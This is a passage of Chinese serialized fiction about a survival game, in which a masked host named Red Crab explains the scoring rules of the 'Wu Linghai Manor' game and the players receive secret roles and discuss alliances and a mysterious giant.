“巨人呐……还谁见过咧?”老仙儿翘着二郎腿,甩着粉色凉鞋,却没直接回应司徒雅,只是又问了一遍,目光扫过北城、西城、东城。
还是没人回答他。
“哦。”
老仙儿最后才朝向司徒雅:“你看到巨人咧?”
司徒雅怔了怔,冷笑:“不是你看到吗?”
“咱可没瞧着。”老仙儿连着摇头,“我以为你看到咧,没看到还瞎咧咧。”
旁边的小姑娘笑了一下。
司徒雅又是怔了怔,一张脸表情复杂,像是要发作,但还是忍住了。
陶瓷娃娃就在大家身后,游戏规则也还不清楚,现在只能嘴上吃点亏,等有机会再反击了。
倒是西城的大块头岔开话题,洪亮的嗓音震得人耳朵生厌:“我说,这游戏是你们东城选的,透露一下到底是什么类型的呀!”
这话成功地将大家的注意力都转移到沈墨棠三人身上。
确实,大家心里也犯嘀咕,明明之前的游戏都很痛快,玩家入场后很快开始了,但现在怎么连声主持人的咳嗽都没听到?
宋白河张了张嘴,看了沈墨棠一眼,学她默不作声。
东城提前知晓游戏规则没错,但规则里没提到详细的流程,现在三人也差不多是懵的状态。
至于西城问的“游戏类型”,谁会那么傻透露出来啊!
这可是新人战里好不容易才换来的优势!
反正,不说话总不会出错!又没人逼她们一定要开口!
“应该偏向于合作类型吧?”
宋白河刚给自己做完心理建设,耳边立刻传来沈墨棠的声音。
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>只见沈墨棠歪了下脑袋,像是有点不确定地喃喃自语。在她左右两侧的宋白河和周彤都是一惊,难以置信地看向她。
这就说了?
要撒谎吗?
“选房间、找对象、算总分……”沈墨棠压根没打算隐瞒,自说自话般笑了下,几乎和盘托出:“有点像是聚会游戏。”
惊异于沈墨棠的坦白,其他城区的玩家面面相觑,半信半疑。
“你这女娃儿甭骗人咧,筒子牌都是体力游戏哦!”老仙儿摆摆手,说完故作不屑地闭着眼。
任谁都看得出,这明摆着是套话。
沈墨棠却像个被激将的小孩子似的,立刻反驳道:“不是啊,我是说真的,这游戏真的是个社交类型的游戏!”
“社交类型?”
西城和北城的神态瞬间变得有些不妙。
西城的大块头再问:“什么社交类型?”
“就是……”沈墨棠嘴里漏了两个字,眼睛在场上扫了一圈,合上了嘴。
老仙儿微微抬眼瞟了这边,又故意怼着:“小女娃儿肯定没看懂规则,乱讲咧!”
“我没乱讲,”沈墨棠又说着:“真的是社交游戏,一开始要我们选房间,然后……”
“咳咳。”周彤早就忍不住咳嗽起来,引来其他人会心的侧目。
沈墨棠的嘴巴却像个把不紧的水龙头,回忆规则,不停往外吐信息:“……选了房间后,单独一个人的就是吉屋,多个人的就是凶屋。吉屋的人加分,凶屋的人要争分……还有就是每个人虽然单独算分,但最后是算团队的总分……”
事实上,就她这么东一嘴西一嘴的,旁人也听不出规则的全貌。
反倒是对沈墨棠捉摸不透,不知道她是因为新人太过天真被套话,还是想耍小聪明骗人,又或者是自大到根本不在乎对手。
从她旁边两个队友慌得不行的反应来看,她说的应该都是实话。
“是积分制?”大块头赶紧多问。
“嗯。”沈墨棠点头,跟个有问必答的电商客服似的:“每个人单独积分,最后算团队总分。”
“那怎么积分?”
“就是选房间啊,每个人会有一个喜欢的人和讨厌的人,如果你喜欢的人选了……小六姐怎么了?”
沈墨棠看向用力捅她胳膊肘的小六姐,一脸天真烂漫的笑,笑得周彤都有点犯恶心。
“你别瞎说。”周彤凑到她耳旁。
沈墨棠放眼望去,台上其他玩家的神情各异,一张张不善的面孔犹如浮世绘里的人,求胜心切的目光统统投向这边。
“因为这个游戏需要合作啊。”沈墨棠按住小六姐的胳膊,强行挤出一个微笑,面向其他人,“主持人不是还没来吗?大家早点知道规则,就能早点聊聊合作的事呀!”
玩家们的表情微变,彼此对了下眼神。
合作!?
真的是一个需要合作游戏?
怎么个合作法?
“那怎么合作……哎哟?”
大块头刚想继续问,突然脸色一变,死死盯着沈墨棠。
其他人也是,相继看向沈墨棠,一张张脸上僵硬的表情跟见鬼似的。
不约而同的怪异反应惹得沈墨棠背脊发凉,一秒后,她才反应过来这些人不是在看她!
沈墨棠迅速转头,看向身后。
76. 巫凌海庄园3
一个人。
沈墨棠和宋白河身后的两只“陶瓷娃娃”之间,赫然出现一个“人”。
身高体型接近成年男性,偏瘦,身穿黑白戏服,像个武生。戴着面具,面具上是一只红色的螃蟹。
蟹身像个口罩,蟹钳像两道八字眉,小小的蟹目就在双眼的位置。
“哇呜!!”它猛地举起两只手,发出吓人的叫声。
似乎是见玩家们都仍是震慑状态,它于是倚靠在宋白河身后的陶瓷娃娃上,一手撑着太阳穴:“哎哟,各位不会这样就被吓到了吧,哈哈哈哈!”
语气轻松、跳脱。
虽然是电子合成的机械音,但大家对这个语调再熟悉不过——确实是红蟹!
12个玩家,12双眼睛,12对瞳孔,全都微微颤动。
红蟹怎么会……出现在这里?
这是红蟹本人?
它想做什么?!
“哈哈哈,大家好大家好!”
它按住沈墨棠和宋白河的肩膀,穿过二者之间,来到戏台中央。
手掌落在肩膀上的感觉轻轻的,仿若无物。
它走着蹩脚滑稽的戏步,摊开双手,转了一圈身子:“我是游戏主持人,红蟹。哈哈哈!”
*
【巫凌海庄园】的游戏进展,正被全程实况直播,投放到永夜城大街小巷的各个荧幕上。
红蟹的身影,标志性的面具特写,占据了屏幕的大半部分。
永夜城内议论纷纷,骚动不断。
“是红蟹!”、“主持人从来没出现过,这次真的出现了!”、“我去啊,红蟹原来真的是个人?”、“是人吗?戴着面具,穿成这样?怕不是个机器人哦。”、“它看上去好像陶瓷娃娃啊!”……
只要不是时间特别紧迫的玩家,都被“红蟹现身”这一从未见过的奇景吸引,驻足在某个荧幕前。
【蓬莱】天台上,斯旺的脸光影变换,神色凝重。
*
“你到底是谁?”
南城的兜帽男忍不住问。
红蟹猛地扭头,斜着脸蛋,似乎透过那对小小的蟹眼看了兜帽男,看得人心底发麻。下一秒,它又撤步做了个夸张的金鸡独立的姿势,但歪歪扭扭的脚下站不稳,抬起的腿很快落地。
“哈哈哈,这位玩家,你懂不懂面具的意思呀!戴着面具就是要隐藏身份呢!”
红蟹嬉笑,转面对台下:“收看直播的永夜城居民们也是,不用猜测红蟹到底是谁,这没有意义!”
它“啪嗒”打了个响指:
“好了,红蟹是谁与游戏无关。接下来我先为各位介绍一下游戏规则咯!”
说完,它的身体骤然静止,像是被点了穴似的,站在原地一动不动,也没再说话。
周围一下子安静起来。
诡异的安静。
这个时候要是有玩家冲上去,直接扒了红蟹的面具……
是不是就能见到“永夜城主持人”的真面目了?!
就只有三步……不,两步的距离……任何一个玩家暴起,或许能够在陶瓷娃娃没有来得及制止前,解开红蟹的伪装?
甚至,打死它?
“扑通、扑通、扑通……”
沈墨棠的右手食指不自觉地敲打木凳。心跳、呼吸、脉搏迅速加快!
“咚咚、咚咚、咚咚……”
怎么又来了?
自从进永夜城后,这项毛病似乎一夜之间痊愈,无论经历什么样的生死危险,都没再没犯过病。
然而现在,仅仅因为“红蟹”突然现身,就复发了?
慢下来,慢下来……
沈墨棠试着将注意力从红蟹身上移开,投向远方的湖景,这才发现原本的万里碧空不知何时已经笼上一层阴霾,天光昏暗,空气似乎都凝重起来,压抑得如死水一般,难以呼吸。
再转回头,戏台中央的红蟹开始变换姿势,似乎在讲述什么事情。
脑子嗡嗡的,只有太阳穴跳动的声响,犹如落地的滚雷。
“……闹鬼……”红蟹面具发出合成音,语调时而上扬,时而跳脱,时而低沉,时而欢谑。沈墨棠只依稀听得出什么“凶宅”、“闹鬼”一类的说法,强迫自己冷静下来,要先听清楚主持人说什么。
好在宋白河和周彤听得详细。
红蟹娓娓道来:“哈哈,本场游戏呢,全程会在这座‘巫凌海庄园’内进行。”
“庄园内原本生活着12个人,因为某些事件一一离世,这里也破败成一座凶宅,还有闹鬼的传言呢!呀哈哈哈!”
如此俗套的鬼故事,在红蟹口中变得更加平庸,仿佛这完全无关紧要。
即便如此,戏台上仍是有几名玩家的脸色煞白。
红蟹踩着戏步走了一圈,继续道:“在游戏中,你们将扮演12位原本生活在这里的角色,他们都有一个自己[喜爱]的人和一个自己[憎恶]的人,共同组成巫凌海庄园内的爱恨情仇!”
说着,山墙之后忽然响起乒乒乓乓的奏乐,吓了众人一大跳。
那是由锣鼓、唢呐、笛、梆子、胡琴等奏响的戏曲,热闹又悲哀,澎湃而破败,亲切中透着无法遏制的肃杀。
山墙之后应该就是后台,也不知道是谁在那里奏乐。
随着戏曲进行,红蟹走圈时踩过的地方,竟然发出一道道光,地上长出一只只小木人,齐膝高,穿着精致生动的戏服,像是一只只活灵活现的戏偶,有男有女,有老有少,从穿着上看,地位也各不相同。
永夜城再奇怪的游戏场地大家都见过。
在众人见怪不怪的目光中,总共12只戏偶在戏台中央围了一圈,将红蟹围在中央,对着玩家们。
每只戏偶背上插着醒目的标,分别写有十二地支“子”、“丑”、“寅”、“卯”、“辰”、“巳”、“午”、“未”、“戌”、“酉”、“申”、“亥”。
“这12个角色。”红蟹双臂做了个像是划水的动作,指代身旁的12只戏偶。
“你们刚开始抽取角色时,只知道自己是谁,但不知道自己喜爱谁,憎恶谁。没关系,不要担心,你们会在游戏过程中慢慢查明。”
“再来,我们说说游戏使用的房间,总共有10个房间。”
说着,红蟹伸手做了一圈“撒”的动作。
12只戏偶围成的圈内,又亮起一圈光点,从地上长出10个纸皮做的小屋子,看起来古香古色。不知为何,总令人联想到丧葬用品。
10个房间的门头,分别标注着十天干“甲”、“乙”、“丙”、“丁”、“戊”、“己”、“庚”、“辛”、“壬”、“癸”。
红蟹:“游戏中六个小时视为一天。前四个小时是白天,后两个小时是夜晚。”
语气流转间,戏台之上光影变换,仿佛经历了一昼夜,又一昼夜……
“游戏总共进行七日,也就是一共六七四十二个小时。”红蟹双手轻轻右上方一推,戏台的光影缓缓停滞,由暗转明。
它继续道:“游戏将会结束在第43小时,也就是第八天的天亮。”
整场【巫凌海庄园】需要43小时。
“接下来我说一下游戏中你们要做的事情。”
“1,每个白天,你们可以在庄园内自由活动,只需在天黑之前,决定好今晚要住在哪个房间,并将房间号提交给你的随从。”
说着,红蟹指了指玩家身后的陶瓷娃娃:“呐呐呐,现在站在你们身后的,就是游戏中你们的随从。”
几个玩家向后瞥了一眼。
略作停顿后,红蟹又做捧腹状“哈哈哈”笑起来:“友情提醒啊!随从不是仆从!随从不会保护你!随从会杀人呐!”
连续说了三句规则怪谈似的话后,又是“哈哈哈”一阵笑,继续道:
“2,每个夜晚,你们将被送往选择好的房间。”
“如果今天只有你一个人选择了这个房间,那么这个房间将成为[吉屋],你和[喜爱]你的人,都会在天亮后累加1分!”
红蟹说话的时候,戏台光线由明转暗,地上那只背插“
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辰”字的小书生模样的戏偶,竟然动了起来,缓步走向“丁”字房。与此同时,旁边背插“巳”字的将军模样的戏偶,对着小书生比了个心,头顶还跳出桃色的“爱心”图案,看起来滑稽而吊诡。
玩家们12双目光齐刷刷盯着这场景。
很快,光线又明亮起来,像是代表天亮了,而“辰”和“巳”的头顶都跳出一道血红的“+1”字样。
红蟹:“相对的,如果今天有多个人选择了同一个房间,那么这个房间将成为[凶屋]。”
“成为[凶屋]的房间将会出现一只铃铛,你只有率先摇响它才能‘逢凶化吉’。”
“若你‘逢凶化吉’,那么判定等同于进入[吉屋]——你和[喜爱]你的人,都会在天亮后累加1分。”
“若你身处[凶屋]却未能‘逢凶化吉’,那么你会在天亮后累减1分;而[厌恶]你的人,将在天亮后累加1分。”
这规则绕来绕去的,听得人晕头转向。
大家都还睁着眼睛,想看看戏偶会如何演示。
果然,光线转暗,12只戏偶一齐动了起来,分别走向不同的房间。
其中“巳”、“午”、“未”三只戏偶都聚集到“戊”房间前。
“巳”率先伸手,从纸屋内掏出一个小小的钟形铃铛,“叮叮”摇了两下。
清脆的声音在戏台上摇曳,很快消失。
光线转亮,“午”、“未”两只戏偶的头顶跳出血红的“-1”,其余戏偶则是“+1”;对面,“酉”、“申”两只戏偶对“午”、“未”的方向作出击打动作,表示厌恶,头顶也再次跳出“+1”;此外,除去[喜爱]“午”、“未”的两只戏偶,[喜爱]其他戏偶的戏偶再“+1”……
玩家看着12只戏偶头顶跳动的符号数字,眼花缭乱。
南城的兜帽男低低骂了句:“卧槽,这看起来好复杂!”
“还真是合作的游戏?”老仙儿摸着下巴,喃喃自语:“哎哟,每天要让咱自己得分、让[喜爱]的人得分,还让[憎恶]的人扣分……啧啧啧……”
“不是,这怎么知道自己喜欢谁讨厌谁啊?”兜帽男小声像是抱怨。
戏台中央,红蟹继续介绍:“任意一天入夜前,如果你没能向随从提交选择房间,将即刻被移除游戏,个人积分清零。”
它大手一挥,甩袖般舞了两下,指向戏台山墙。
山墙分隔台上和后台,砖石材质,承担着一部分承重作用,山墙上挂着戏布、彩花、剧景,虽然全都破旧不堪,早已褪尽色彩。
戏台光影变换,亮了起来,山墙表面竟是开始“渗血”!
不是山墙本身,而是山墙表面,离墙面、戏布、彩花、剧景大约两指距离的半空中,像是存在一块看不见的平面,正在汨汨流出鲜红的液体。
这些液体鲜艳粘稠,顺着平面流淌、延展,很快形成符号文字。
是十二地支,代表十二位角色。
每个地支文字上方,有相对应的阿拉伯数字,表示其当前拥有的分数。
红蟹:“这里会实时显示每个角色当前的分数,各位玩家若有需要,随时可以来这里查看。”
“哈哈哈!最后第八天呢,我们会将每个阵营三位玩家的分数相加,得分最高的阵营获得【巫凌海庄园】的胜利咯!”
“如果不巧,出现平分最高,将再进行一次单独的[凶屋]比赛,决出最后赢家……”
听着红蟹的规则说明,南城老仙儿不禁将目光斜向沈墨棠,心想着这小妮子倒是没骗人。
她到底想干嘛?纯粹只是释放善意吗?
还是另有目的?
“以上便是基本的游戏规则。”红蟹拍手打断了玩家们的思绪,“至于其他的,就留给各位在游戏中慢慢探索吧!”
它说完,也不顾在场其他人的想法如何,大跨步做了个谢幕动作。
看着那身黑白武生打扮做着蹩脚的姿势,实在让人鼓不起掌来。
“那么,玩家请注意,游戏~开~始!”
77. 巫凌海庄园4
红蟹说完,两腿并立,双臂高举,姿势像个大大的“Y”字。
“噗!!”
一阵浓烟自它脚底爆发,奶白奶白的,很快遮蔽整个戏台。
空气中弥漫着一股奇怪的臭味。
又是迷烟?
沈墨棠迅速捂住口鼻,坐稳,生怕被迷晕时摔到地上。
然而与预想中的不一样,浓烟在短短两秒内消散,视野也再次清晰。
只不过,后台的奏乐戛然而止,而红蟹早已消失,连同12只戏偶和10间纸房子也都不见了,跟变戏法似的。
戏台上只剩捂嘴咳嗽的玩家们,以及他们身后不动如山的陶瓷娃娃。
要不是山墙浮动的血色文字,还以为刚才只是一场梦:
【DAY1】
【00:00】
【子:0】【丑:0】【寅:0】【卯:0】【辰:0】【巳:0】【午:0】【未:0】【戌:0】【酉:0】【申:0】【亥:0】
“——轰隆!”
天空忽的一声惊雷,震碎了戏台上的沉默。
玩家们从恍惚中回过神来,一双双目光盯着山墙上的血字,不知道谁嘀咕一句:“开始了”。
血字中的时间【00:00】开始跳动!
【00:01】
【00:02】
【00:03】
……
【巫凌海庄园】正式开始了。
沈墨棠吹动刘海。
除了红蟹突然冒出来,说一大堆“凶宅”、“闹鬼”的“背景故事”以外,游戏规则和事先看到的并无两样。
基本上。
与预想中不同的是——有“陶瓷娃娃”的存在,限制了玩家之间使用暴力手段。
所以这是纯粹的“社交游戏”?
另外,红蟹没有提到所谓的“隐藏规则”会在游戏过程中进行公布吗?还是有什么特别的触发条件?
沈墨棠不由得轻哼一声:现在看来,四方战的游戏没有“100%准备好”这种说法。
就算提前知晓规则,也会因为游戏的各种细节,产生不可预测的影响。
庄家,只不过是比闲家有些许信息优势,仅此而已。
正思考着,陶瓷娃娃的机械音响起:“已为玩家随机分配游戏角色,请玩家前往安全的地方进行确认。”
12个陶瓷娃娃同时冒出这句话,整个戏台仿佛装了一个高级的环绕立体音响。
颇有种梵音缭绕,沁透心灵的感觉。
再一看,每一个陶瓷娃娃手中,不知何时都握着一根刚才戏偶背上插着的长标。
长标是涂了木漆的竹片,仔细看的话上面没有文字,似乎每一根都相同。
什么意思?
随机分配游戏角色?前往安全的地方进行确认?
“现在是不是可以走了?”西城有人提了句。
玩家们你看看我,我看看你,彼此都谨小慎微,生怕做了什么“为他人做嫁衣”的举动。
或许是因为沈墨棠最初的“坦率”,大家最终竟是将目光集中到东城这边。
“轰隆隆——!”
又一声惊雷,大雨刹时哗啦啦砸落,打得万物乒乓作响,平静的湖面变得破碎,假山、拱门、荷叶、曲桥全都笼罩在一层激荡的水花中,燕台被雨幕包围,从飞檐汇聚的水如注落下。
哗啦啦……哗啦啦啦……哗啦啦啦啦……
当其他玩家都被这突如其来的大雨吸引时,沈墨棠却静静站起,伸手去拿陶瓷娃娃手中的长标。
宋白河和周彤都是一愣,呆呆看着她。
其他玩家们也再次挪来视线。
游戏已经开始。
规则里说了“白天可以自由活动”,再加上陶瓷娃娃提到要“前往安全的地方确认”,没道理留在原地耗时间。
早点确认角色,早点进入游戏,就能先一步掌握主动权。
果然,当沈墨棠的手触碰到长标的时候,陶瓷娃娃雨衣的胸口处被解了一颗纽扣似的,分开一个小口,从中探出一道方形的木筒,像是某种奇怪的签筒,中空。
陶瓷娃娃:“请玩家投入长标,确认个人角色信息。”
原来如此。
沈墨棠吹起刘海,仰望发出声音的呼吸面罩,再观察一番它胸口空荡荡的“签筒”,猜出大概:“前往安全的地方”指的是避免让其他玩家发现,毕竟角色信息决定了游戏策略。
当然,如果愿意的话,留在戏台上原地公开也未尝不可。
沈墨棠没那么傻。
她左看看右看看,没有拿起长标,而是绕过凳子,往山墙后走去。确认了一下,陶瓷娃娃确实收起了“签筒”,握紧长标,老老实实紧跟自己身后,像个真正的“随从”。
就按照它说的,“前往安全的地方进行确认”吧。
沈墨棠对宋白河周彤比出一个手势。
两人会意,赶紧起身,带着各自的陶瓷娃娃跟上。
有东城的尝试,剩下三个城区的玩家们心中也都有了底,各自开始行动。
……
沈墨棠穿过山墙右侧的“出将”幕口,顺台阶拐进后台。
或许是因为突然的大雨,这里有股陈腐的气味,像是木头发霉,金属锈蚀,食物腐烂,然后被陈年累月的尘埃掩盖。
刚才听见后台传出奏乐,本以为会有什么东西,但此刻亲身走进,才发现后台除了几张缺腿的椅子,坍塌的木架,两条团起来的落满灰的桌布,其他什么也没有,应该是被荒弃许久。
高大的陶瓷娃娃俯身走入后台,震得屋顶墙壁的灰尘簌簌落下,沈墨棠捂鼻咳嗽,皱紧了眉头。
“我看着外面。”走在最后的宋白河很上道,他确认后台安全,又折返回入口处,防止戏台上其他玩家偷看偷听。
能参加四方战的玩家都不傻,大家深知信息的重要性。
周彤绕过沈墨棠,前往后台另一侧,推了推那扇紧闭的门,冲沈墨棠点点头。
前后都有队友把守,这里就是“安全的地方”了吧?
沈墨棠的手再次触碰长标。
陶瓷娃娃也再次探出“签筒”,发出提示:“请玩家投入长标,确认个人角色信息。”
轻轻拿起长标,放入“签筒”中。
“嗒!”
陶瓷娃娃猛地收回“签筒”,巨大的双臂一下子抬起,犹如两根大钳子似的牢牢抓住沈墨棠的肩膀!沈墨棠动弹不得之余,甚至来不及发出惊呼,就感受到一股异样涌入身体!
齐刘海下的眸子疯狂颤抖,眼白几乎填满了眼眶。
大脑被针扎过,被毛刷刷过,被正负电极穿透,被酸水冲击,被锤扁了再塑性,被扔进深井中浸泡万年再次捞出。
这状态仅仅持续半秒,却仿佛过了许久。
沈墨棠的瞳孔重新聚焦。
意识里多出了一个角色,一个人物,一个模模糊糊的概念。
陶瓷娃娃的手早已放开。
“小九?”周彤定定盯着这边,眼神扫过沈墨棠的陶瓷娃娃,冷得像是两把刀子。
沈墨棠做了个深呼吸,感受着大脑中的信息,抬手示意:“没事,小六姐,是角色信息。”
“角色信息?”
“我的角色。”
沈墨棠晃了晃脑袋,视网膜上似乎浮现出挥之不去的文字:
【午】
【姓名:裴珠】
【身份:客人】
“呼……”
沈墨棠长舒一口气,心中腹诽:就这三个信息,非得这么大费周章吗!
又要隐蔽,又拿电电人?
墙外的雨声破碎喧嚣,忽的又有雷鸣骤起,湿气氤氲蔓延,连尘土的味道都变得熟悉起来,脑中依稀只有一种感觉,仿佛丢失了前世的记忆,迫切想要找回自己的爱憎分明。
“换你们。”
沈墨棠脚步虚浮,恍惚地和小六姐交换了位置。
周彤还是不放心:“真没事?”
“你自己试试就知道了……”沈墨棠摆摆手,轻轻倚在门柱上。
于是在陶瓷娃娃的提示声中,周彤也将她的长标投入她的“签筒”。和刚才一样,陶瓷娃娃猛地抓住她的肩膀,不到一秒便又松开。
只这短短一瞬,她的眼神从凌厉到模糊,紧绷的身体也塌了下来。
原地缓了七八秒钟,周彤才抬头,对上沈墨棠那副“怎么样被电麻了吧”的表情。
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“宋白河,换你。”周彤走向后台入口。
沈墨棠看着宋白河将长标小心翼翼地投入“签筒”,思绪却翩跹乱飞:
这种独特的“记忆植入”的体验,从侧面佐证了“太虚”的存在吗?
“休眠舱”是进行“意识上载”的设备,“新人战”是“意识下载”的结果?
正如王潇所说,所有人最初只是“太虚”中一抹无限轮回的意识,在某个特殊的契机像颗“弹珠”一样掉进了中奖孔,被唤醒到永夜城参加“新人战”。
而永夜城是“人类最后的居所”,是“无边汪洋中的一座孤岛”,是“唯一的现实”?
……怎么想怎么扯淡!
真、假、虚、实,混淆不清,捉摸不透。
齐刘海下的目光微微眯起。
红蟹。
从未出现的主持人“红蟹”,在这场游戏中竟然亲临了。
【巫凌海庄园】是什么特别重要的游戏吗?
值得“红蟹”亲自出场的游戏,会是接近真相的契机吗?
沈墨棠眼见宋白河确认了他的角色,和周彤一起靠过来,于是捏了捏右手食指,暂停思考,专心到眼前的游戏中。
周彤:“都清楚了?现在怎么办?共享一下信息?”
沈墨棠点点头:“嗯。”
宋白河:
【辰】
【姓名:巫乐安】
【身份:少爷】
周彤:
【酉】
【姓名:安妮】
【身份:医生】
“呃……那个‘巳’是喜欢我的对吧?”宋白河挠着脖子。
沈墨棠顿了顿,困惑地歪头盯着宋白河:“巳?”
“我的角色是‘辰’啊,刚才不是……”
“哦,刚才应该只是演示。”沈墨棠反应过来,宋白河指的是刚才红蟹在演示过程中,“巳”对“辰”比了心。
她耐着性子解释:“游戏应该不会在演示阶段就透露信息,这太低级了。”
话毕,她看着宋白河补充:“嗯,留心一下总没错的。”
“嗯嗯。”宋白河嘴角微微一扬。
宋白河跟周彤都是偏体力挂的,在这种类似聚会游戏的游戏中,不太占优势。
沈墨棠没浪费时间,借着雨声向两人讲述对游戏的看法:“我们得尽快找到自己[喜爱]和[憎恶]的人,以及[喜爱]和[憎恶]我们的人。”
“重点是,确定我们三个之间有没有关系,这样方便控分。”
如果能尽快理清楚12个角色相互的爱憎,就能制定最佳的游戏策略。
【巫凌海庄园】最后是计算团队总分,如果只顾着自己拿分,很可能导致队友失分,适得其反。
宋白河一边点头,一边发问:“那个,要怎么找?”
沈墨棠短暂沉默了。
主持人说过“你们会在游戏过程中慢慢查明”,但没说清楚具体是以什么方式。
现在每个玩家只能确定自己的代号、姓名、身份。
就算大家的信息都公开,也没办法确定谁喜爱谁,谁憎恶谁。
这么看来,想确定角色的[喜爱]和[憎恶],不是依赖玩家之间的交流,而依赖其他途径。
“每天白天有4个小时。”沈墨棠抿了抿嘴:“应该能在庄园里找到什么线索。”
“找线索?”
“嗯。”
游戏中只有“夜晚”的两个小时会影响玩家的分数增减——那么“白天”四个小时的“自由活动”时间,是用来做什么的?
恐怕就是查明角色爱憎的时间!
沈墨棠坚定了想法:“红蟹刚才提到,12个角色曾经在这座庄园里生活,肯定会留下线索。”
“明白了,我们要探索庄园。”宋白河再次点头。
进入游戏后,玩家从不同房间中醒来,被引领着来到湖中心的燕台……湖已经这么大了,整个巫凌海庄园得有多大?
要想在其中找到12个角色留下的线索,需要花费大量的时间和精力。
“说到这个。”周彤突然插话,她神色凝重,来回打量沈墨棠和宋白河。
“你们刚才有看到巨人吗?”
78. 巫凌海庄园5
周彤身体一抖,在倒吊的状态下醒来。
光线从百格窗透进,照亮了4~5平米的小破屋子,青石墙,红砖地,多宝架和旧木凳,看不懂的壁雕与厚实的房门。
刚开始,周彤还以为游戏会以这种被吊着的方式进行。
但她静静等了一会,没等来其他动静。
屋内屋外都静悄悄的,她像是被人遗忘在这里。
就这么挂着,倒也挺轻松的。
周彤不感到丝毫难受,甚至因为等得无聊,打了个哈欠。
又过片刻,实在是无事可做,她叹了口气,开始行动。
被反绑的两条胳膊抻直,肩关节微微一动,翻了过来,双手来到身前,观察了一眼手腕绑紧的麻绳后,用牙咬出藏在绳套里的绳结,再顺势一扯,两只手的活动角度瞬间打开。
卷腹,解开脚踝的绳结,在麻绳散落的同时翻身,轻巧落地。
冷冽的眼神中没有丝毫得意,只是平静的水面荡起一丝涟漪:落地的时候,视线边缘好像瞥见什么奇怪的东西,从窗外一掠而过。
是什么!?
周彤靠近百格窗,朝外张望,瞳孔猛地扩大。
“哔——!!”
哨声响彻寰宇,房门也被推开,陶瓷娃娃出现。
……
“我以为看错了,所以没提。”周彤神色凝重,“但刚才南城也说到巨人,证明他们也看到了,我没看错。”
“巨人。”
沈墨棠重复了这个词,百思不得其解。
外面雷雨交加,噼里啪啦像是时间轰轰烈烈一去不回。
在来燕台的一路上,沈墨棠粗略观察过庄园,面积大,但建筑物并不高,视野辽阔宽广。
如果真有像小六姐说的“十几层楼高的巨人”,怎么半点影子都见不到?
退一步讲,巨人能藏哪?
躺湖里吗?
还有……
“你解开绳子了?”沈墨棠挑起眉梢,打断思维发散。
自己可是被吊到脑袋都充血了!一直等到陶瓷娃娃开门才被放下来!
周彤抿着嘴角,沈墨棠又歪头看向宋白河。
宋白河先是一愣,随即明白过来冲她摇头。
沈墨棠摆正自己的头部:还好,不是只有自己解不开绳子。
她问宋白河:“你看到巨人了?”
宋白河又摇头:“没。”
所以只有小六姐看到了?不,还有刚才南城的老仙儿也在问;北城的司徒雅似乎也有所反应。
“咳咳。”周彤突然咳嗽两声提醒。
沈墨棠和宋白河抬眼,注意到后台入口处探进半个粉色的身影。
是南城的兜帽男。
他声音爽朗:“打扰一下!你们好了没有?借个地方用用?”
外面下着倾盆大雨,燕台周围没有遮雨又隐蔽的地方,南、西、北城的人想要“前往安全的地方确认角色”只能等东城腾出后台。
“好啊。”沈墨棠想了想,嘴角弯起一个弧度,做出一个微笑:“你们看到巨人了吗?”
兜帽男明显避开眼神,没有承认,也没有否认。
“我们出去了。”沈墨棠心里有底,拉着周彤和宋白河往外走。
兜帽男已经侧身让开,沈墨棠却停在他面前,嘴角依然是那个用力过猛的微笑:“我看到了巨人,我也想知道巨人是怎么回事。”
没等兜帽男做出反应,沈墨棠就与他擦身而过。
再往外,却被另一个粉色的身影拦住了:“女娃子,咱聊聊咧!”
粉色男士凉鞋、工装裤、针织毛衣,是一身恶心穿搭的“老仙儿”。老仙儿身后,是南城的那个小姑娘。
兜帽男站在阶梯最底下,回头,看着拥挤在台阶上的东城三人,还有跟在他们身后的陶瓷娃娃。
“好。”沈墨棠面无表情,定定看着老仙儿。
气氛突然僵在这里,两拨人挤在小小的阶梯口,外面是电闪雷鸣,瓢泼大雨,里面是陈腐、狭小的空间,还有好几个可怕的陶瓷娃娃站得顶天立地,更显得楼梯口压抑。
几乎能感受到身旁的人神经绷紧的力道。
“咱里面聊咧。”
……
暴雨连成破碎透明的雨幕,挂在燕台四周,沉沉的,重重的,间或有大风刮过,雨水飞泼进来,打湿了立柱的石墩。
西城三人、北城三人,都还没确认各自的角色。
西城三人还是坐在戏台上;北城三人走到台下,被暴雨拦在那里,没有离开。
西城的大块头眼见南城、东城的人都聚集到后台,有点坐不住了。
他站起身,两米身高,几乎跟陶瓷娃娃持平。
他一开始应该是想跟进后台,但转念看向台下的北城,顿了顿,低头叮嘱两个队友:“我去打打交道,你们盯着这边。”
“是。”两个队友都点头。
大块头大步走下戏台,迎着北城三人的视线,抬手打招呼:“嘿,他们好像要结盟了。”
指的是东城和南城。
“哦?”司徒雅顺着瞟了眼后台入口,又收回目光,满不在乎地撇开脸。
身旁的队友发出莫名其妙的“咯咯咯”轻笑,抬起一双圆滚滚的眼睛。
这是个身材高挑的女人,高鼻梁,小嘴巴,穿着夸张的百褶连衣裙,第一眼就惹人注目,瞪大的圆眼睛神似猫头鹰。
大块头被笑得有点懵,但基于“北城什么人都有”这一刻板印象,还是忍住困惑,转向看似最正常的第三个人:“小哥,你们怎么说?”
北城第三个人秃顶,但年纪不大,身材壮实,黑色背心被块块肌肉撑得鼓鼓的,左大臂纹着一圈像是青铜鸟兽纹的东西。
秃顶男咧嘴一笑,露出黑漆漆的钢牙,很有礼貌:“知道了,谢谢你通知。”
大块头挺起胸,怔了怔,脸颊抽动,硬着头皮:“我是说,我们要不要结盟?”
四方战是四个阵营进行的游戏,虽然最后只有一个阵营能获胜,但在游戏过程中,往往最开始先相互结盟,才能有效提高胜率。
听完规则,老玩家们心里都有这个意识。
只不过,北城历届都是让一群新人参加……
“怎么结盟呀?”高挑女人睁大眼睛,目光明亮。
“我们六个一起商量,定个结盟的标准。”大块头绷着脸,回头招呼戏台上的队友:“小方,过来。”
……
“哎哟,那这么说,巨人是真的咧。”
老仙儿毫不嫌弃坐在后台脏兮兮的破木凳上,揉着下巴若有所思。
沈墨棠面无表情看着这大叔,像是在确认他没撒谎。
虽说不算开诚布公,但基本能确定双方都有看到过“巨人”——东城实际上是周彤看见的,但沈墨棠说是自己;南城那边是席炎看到的,但老仙儿辛乙初说是自己。
彼此都透了信息,彼此也都留了一手。
“那就这样,先分开吧。”沈墨棠和老仙儿约定了选房原则,随即告别。
白天只有4个小时,总得试一试能不能找到其他线索。
……
走出后台,暴雨还在下,一点没有停歇的样子。燕台空荡荡的,北城和西城的人不知道哪去了。
沈墨棠、宋白河,周彤面面相觑。
周彤迅速查看所有被立柱挡住视线的地方:“他们冒雨走的?”
“我们也走吧。”沈墨棠深吸了口气,当先走进雨幕。
“啪!”
